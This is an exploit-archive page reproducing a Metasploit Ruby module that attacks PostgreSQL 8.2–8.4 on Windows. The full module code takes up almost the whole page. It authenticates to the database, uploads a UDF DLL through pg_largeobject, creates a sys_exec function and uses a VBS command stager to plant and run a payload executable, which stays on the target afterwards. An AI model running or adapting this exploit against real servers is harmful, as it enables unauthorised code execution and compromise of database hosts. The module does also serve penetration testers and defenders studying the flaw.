[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PostgreSQL for Microsoft Windows Payload Execution
# Published : 2011-03-23
# Author : metasploit
# Previous Title : HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow
# Next Title : HP OpenView Network Node Manager ovwebsnmpsrv.exe Unrecognized Option Buffer Overflow

### $Id: postgres_payload.rb 12115 2011-03-23 21:24:09Z todb $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = ExcellentRanking	include Msf::Exploit::Remote::Postgres	include Msf::Exploit::CmdStagerVBS	# Creates an instance of this module.	def initialize(info = {})		super(update_info(info,			'Name'           => 'PostgreSQL for Microsoft Windows Payload Execution',			'Description'    => %q{				This module creates and enables a custom UDF (user defined function) on the				target host via the UPDATE pg_largeobject method of binary injection. On				default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres				service account may write to the Windows temp directory, and may source				UDF DLL's from there as well.				PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are 				valid targets for this module.				NOTE: This module will leave a payload executable on the target system when the				attack is finished, as well as the UDF DLL and the OID.			},			'Author'         => 			[				'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries 				'todb' # this Metasploit module			],			'License'        => MSF_LICENSE,			'Version'        => '$Revision: 12115 $',			'References'     =>				[					[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',						'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL					]				],			'Platform'       => 'win',			'Targets'        =>		[			[ 'Automatic', { } ], # Confirmed on XXX 		],			'DefaultTarget'  => 0,			'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.		))		register_options(			[				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])		])		deregister_options('SQL', 'RETURN_ROWSET')	end	# Buncha stuff to make typing easier.	def username; datastore['USERNAME']; end	def password; datastore['PASSWORD']; end	def database; datastore['DATABASE']; end	def verbose; datastore['VERBOSE']; end	def rhost; datastore['RHOST']; end	def rport; datastore['RPORT']; end	def execute_command(cmd, opts)		postgres_sys_exec(cmd)	end	def exploit		version = get_version(username,password,database,verbose)		case version		when :nocompat; print_error "Authentication successful, but not a compatable version."		when :noauth; print_error "Authentication failed."		when :noconn; print_error "Connection failed."		end		return unless version =~ /8/.[234]/		print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."		tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))		unless tbl && fld && dll && oid			print_error "Could not upload the UDF DLL"			return 		end		print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"		ret_sys_exec = postgres_create_sys_exec(dll)		if ret_sys_exec			if @postgres_conn				execute_cmdstager({:linemax => 1500, :nodelete => true})				handler				postgres_logout if @postgres_conn			else				print_error "Lost connection."				return			end		end		postgres_logout if @postgres_conn	end	def dll_fname(version)		File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")	end	# A shorter version of do_fingerprint from the postgres_version scanner	# module, specifically looking for versions that valid targets for this	# module.	def get_version(user=nil,pass=nil,database=nil,verbose=false)		begin			msg = "#{rhost}:#{rport} Postgres -"			password = pass || postgres_password			print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose			result = postgres_fingerprint(				:db => database,				:username => user,				:password => password			)			if result[:auth]				# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4				# This also checks to see if it was compiled with a windows-based compiler --				# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)				# Also, the method to write files to disk doesn't appear to work on 9.0, so				# tabling that version for now.				if result[:auth] =~ /PostgreSQL (8/.[234]).*(Visual C/+/+|mingw|cygwin)/i 					return $1				else					print_status "Found #{result[:auth]}"					return :nocompat				end			else				return :noauth			end		rescue Rex::ConnectionError			print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']			return :noconn		end	endend